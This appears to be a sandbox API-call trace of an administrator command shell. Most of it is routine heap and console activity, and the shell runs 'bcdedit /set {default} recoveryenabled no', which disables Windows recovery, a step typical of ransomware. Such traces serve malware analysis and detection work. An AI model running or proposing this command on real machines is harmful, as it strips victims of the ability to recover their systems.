	[0232.630] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0232.630] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0232.630] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0232.630] GetProcessHeap () returned 0x1d2f7770000
	[0232.630] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xb0) returned 0x1d2f7776c00
	[0232.630] GetProcessHeap () returned 0x1d2f7770000
	[0232.631] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x20) returned 0x1d2f77781b0
	[0232.631] GetProcessHeap () returned 0x1d2f7770000
	[0232.631] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x56) returned 0x1d2f7776cc0
	[0232.631] GetConsoleOutputCP () returned 0x1b5
	[0232.632] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0232.632] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0232.632] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f710, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0232.633] malloc (_Size=0xffce) returned 0x1d2f7890840
	[0232.633] ??_V@YAXPEAX@Z () returned 0x1d2f7890840
	[0232.633] malloc (_Size=0xffce) returned 0x1d2f78a0820
	[0232.633] ??_V@YAXPEAX@Z () returned 0x1d2f78a0820
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0232.633] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0232.634] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0232.635] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0232.635] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0232.635] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0232.635] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0232.635] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0232.635] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4
	[0232.635] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7
	[0232.635] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16
	[0232.635] ??_V@YAXPEAX@Z () returned 0x1
	[0232.635] GetProcessHeap () returned 0x1d2f7770000
	[0232.635] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xffde) returned 0x1d2f7778380
	[0232.635] GetProcessHeap () returned 0x1d2f7770000
	[0232.635] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x66) returned 0x1d2f7776d20
	[0232.635] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1
	[0232.635] malloc (_Size=0xffce) returned 0x1d2f78a0820
	[0232.635] ??_V@YAXPEAX@Z () returned 0x1d2f78a0820
	[0232.636] GetProcessHeap () returned 0x1d2f7770000
	[0232.636] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1ffac) returned 0x1d2f778aaf0
	[0232.637] SetErrorMode (uMode=0x0) returned 0x0
	[0232.637] SetErrorMode (uMode=0x1) returned 0x0
	[0232.637] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1d2f778ab00, lpFilePart=0xc90e98ef90 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xc90e98ef90*="system32") returned 0x13
	[0232.637] SetErrorMode (uMode=0x0) returned 0x1
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f778aaf0, Size=0x48) returned 0x1d2f778aaf0
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f778aaf0) returned 0x48
	[0232.637] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0232.637] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1b4) returned 0x1d2f7788e70
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x358) returned 0x1d2f7789030
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7789030, Size=0x1b6) returned 0x1d2f7789030
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7789030) returned 0x1b6
	[0232.637] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xe8) returned 0x1d2f7776d90
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7776d90, Size=0x7e) returned 0x1d2f7776d90
	[0232.637] GetProcessHeap () returned 0x1d2f7770000
	[0232.637] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7776d90) returned 0x7e
	[0232.637] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0232.637] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0x1d2f7776e20
	[0232.652] FindClose (in: hFindFile=0x1d2f7776e20 | out: hFindFile=0x1d2f7776e20) returned 1
	[0232.652] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0xffffffffffffffff
	[0232.653] GetLastError () returned 0x2
	[0232.653] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0x1d2f7776e20
	[0232.653] FindClose (in: hFindFile=0x1d2f7776e20 | out: hFindFile=0x1d2f7776e20) returned 1
	[0232.653] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0232.653] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0232.653] ??_V@YAXPEAX@Z () returned 0x1
	[0232.653] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f280, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0232.654] GetProcessHeap () returned 0x1d2f7770000
	[0232.654] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x21c) returned 0x1d2f7789520
	[0232.654] GetConsoleTitleW (in: lpConsoleTitle=0x1d2f7789530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0232.654] GetProcessHeap () returned 0x1d2f7770000
	[0232.654] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7789520, Size=0xce) returned 0x1d2f7789520
	[0232.654] GetProcessHeap () returned 0x1d2f7770000
	[0232.654] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7789520) returned 0xce
	[0232.654] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - bcdedit  /set {default} recoveryenabled no") returned 1
	[0232.656] GetProcessHeap () returned 0x1d2f7770000
	[0232.656] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7789520) returned 1
	[0232.656] InitializeProcThreadAttributeList (in: lpAttributeList=0xc90e98f1a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc90e98f090 | out: lpAttributeList=0xc90e98f1a0, lpSize=0xc90e98f090) returned 1
	[0232.656] UpdateProcThreadAttribute (in: lpAttributeList=0xc90e98f1a0, dwFlags=0x0, Attribute=0x60001, lpValue=0xc90e98f07c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc90e98f1a0, lpPreviousValue=0x0) returned 1
	[0232.656] GetStartupInfoW (in: lpStartupInfo=0xc90e98f130 | out: lpStartupInfo=0xc90e98f130*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234)) 
	[0232.656] GetProcessHeap () returned 0x1d2f7770000
	[0232.656] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x20) returned 0x1d2f7776f40
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0232.656] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0232.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0232.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0232.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0232.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0232.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0232.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0232.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0232.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0232.766] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0232.766] GetProcessHeap () returned 0x1d2f7770000
	[0232.766] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776f40) returned 1
	[0232.766] GetProcessHeap () returned 0x1d2f7770000
	[0232.766] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x12) returned 0x1d2f7778010
	[0232.766] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.766] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0232.766] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.766] SetConsoleMode (hConsoleHandle=0x228, dwMode=0x0) returned 0
	[0232.766] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default} recoveryenabled no", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xc90e98f0c0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default} recoveryenabled no", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc90e98f098 | out: lpCommandLine="bcdedit  /set {default} recoveryenabled no", lpProcessInformation=0xc90e98f098*(hProcess=0x94, hThread=0x98, dwProcessId=0xe58, dwThreadId=0xe5c)) returned 1
	[0232.772] CloseHandle (hObject=0x98) returned 1
	[0232.772] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0232.772] GetProcessHeap () returned 0x1d2f7770000
	[0232.772] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7788370) returned 1
	[0232.772] GetEnvironmentStringsW () returned 0x1d2f7788370*
	[0232.772] GetProcessHeap () returned 0x1d2f7770000
	[0232.772] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f778ab50
	[0232.772] FreeEnvironmentStringsA (penv="=") returned 1
	[0232.772] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xc90e98e598, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xc90e98e598, ReturnLength=0x0) returned 0x0
	[0232.772] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xda973fc000, lpBuffer=0xc90e98e5d0, nSize=0x7a0, lpNumberOfBytesRead=0xc90e98e590 | out: lpBuffer=0xc90e98e5d0*, lpNumberOfBytesRead=0xc90e98e590*=0x7a0) returned 1
	[0232.773] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0
	[0234.316] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xc90e98f018 | out: lpExitCode=0xc90e98f018*=0x0) returned 1
	[0234.316] CloseHandle (hObject=0x94) returned 1
	[0234.316] _vsnwprintf (in: _Buffer=0xc90e98f1e8, _BufferCount=0x13, _Format="%08X", _ArgList=0xc90e98f028 | out: _Buffer="00000000") returned 8
	[0234.316] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0234.316] GetProcessHeap () returned 0x1d2f7770000
	[0234.316] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778ab50) returned 1
	[0234.316] GetEnvironmentStringsW () returned 0x1d2f7788370*
	[0234.316] GetProcessHeap () returned 0x1d2f7770000
	[0234.316] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f778ab50
	[0234.317] FreeEnvironmentStringsA (penv="=") returned 1
	[0234.317] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0234.317] GetProcessHeap () returned 0x1d2f7770000
	[0234.317] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778ab50) returned 1
	[0234.317] GetEnvironmentStringsW () returned 0x1d2f7788370*
	[0234.317] GetProcessHeap () returned 0x1d2f7770000
	[0234.317] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f778ab50
	[0234.317] FreeEnvironmentStringsA (penv="=") returned 1
	[0234.317] GetProcessHeap () returned 0x1d2f7770000
	[0234.317] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778010) returned 1
	[0234.317] DeleteProcThreadAttributeList (in: lpAttributeList=0xc90e98f1a0 | out: lpAttributeList=0xc90e98f1a0) 
	[0234.317] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0234.318] ??_V@YAXPEAX@Z () returned 0x1
	[0234.319] _get_osfhandle (_FileHandle=1) returned 0x234
	[0234.319] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0234.319] _get_osfhandle (_FileHandle=1) returned 0x234
	[0234.319] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff68358fc08 | out: lpMode=0x7ff68358fc08) returned 0
	[0234.319] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.319] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff68358fc0c | out: lpMode=0x7ff68358fc0c) returned 0
	[0234.319] GetConsoleOutputCP () returned 0x1b5
	[0234.319] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0234.319] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776d90) returned 1
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7789030) returned 1
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7788e70) returned 1
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778aaf0) returned 1
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776d20) returned 1
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778380) returned 1
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776cc0) returned 1
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77781b0) returned 1
	[0234.320] GetProcessHeap () returned 0x1d2f7770000
	[0234.320] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776c00) returned 1
	[0234.320] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc90e98f5c8 | out: _Buffer="\r\n") returned 2
	[0234.320] _get_osfhandle (_FileHandle=1) returned 0x234
	[0234.320] GetFileType (hFile=0x234) returned 0x3
	[0234.320] _get_osfhandle (_FileHandle=1) returned 0x234
	[0234.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0234.320] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc90e98f598, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f598*=0x2, lpOverlapped=0x0) returned 1
	[0234.320] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0234.320] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d2f7870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0234.320] _vsnwprintf (in: _Buffer=0x1d2f7880060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc90e98f5d8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0234.321] _vsnwprintf (in: _Buffer=0x1d2f7880086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xc90e98f5d8 | out: _Buffer=">") returned 1
	[0234.321] _get_osfhandle (_FileHandle=1) returned 0x234
	[0234.321] GetFileType (hFile=0x234) returned 0x3
	[0234.321] _get_osfhandle (_FileHandle=1) returned 0x234
